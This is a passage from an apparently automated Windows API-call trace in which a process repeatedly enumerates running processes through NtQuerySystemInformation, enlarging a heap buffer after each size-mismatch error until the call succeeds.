(Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0201.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0201.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0201.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0201.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0201.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0201.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0201.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0201.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0201.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0201.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0201.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0201.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0201.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.016] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0201.016] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.016] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0201.016] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0201.016] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0201.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0201.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0201.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0201.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0201.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0201.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0201.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0201.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0201.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0201.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0201.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0201.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0201.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0201.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0201.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0201.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0201.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0201.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0201.374] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0202.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0202.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0202.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0202.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0202.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0202.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0202.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0202.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.260] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0202.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.261] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0202.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.261] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0202.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.261] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0202.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.261] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0202.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.261] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0202.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.262] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0202.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0202.262] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0202.552] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0202.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0202.552] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0202.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0202.552] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0202.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.552] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0202.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.552] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0202.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.553] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0202.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.553] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0202.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.553] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0202.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.553] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0202.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.553] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0202.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.554] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0202.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.554] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0202.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0202.554] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0202.755] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0202.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0202.755] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0202.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0202.755] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0202.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.755] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0202.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.756] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0202.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.756] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0202.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.756] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0202.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.756] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0202.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.756] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0202.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.756] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0202.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.757] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0202.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0202.757] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0202.919] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0202.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0202.919] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0202.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0202.919] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0202.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.919] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0202.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.919] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0202.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.920] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0202.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0202.920] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0202.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.920] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0202.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.920] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0202.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.920] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0202.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.921] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0202.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0202.921] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0202.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0202.921] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0203.086] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0203.086] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0203.086] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0203.086] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0203.086] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0203.086] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.086] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0203.086] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.086] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0203.086] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.086] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0203.086] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.087] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0203.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.087] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0203.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.087] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0203.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.087] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0203.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.087] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0203.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.087] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0203.088] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.088] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0203.088] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0203.088] RtlAllocateHeap 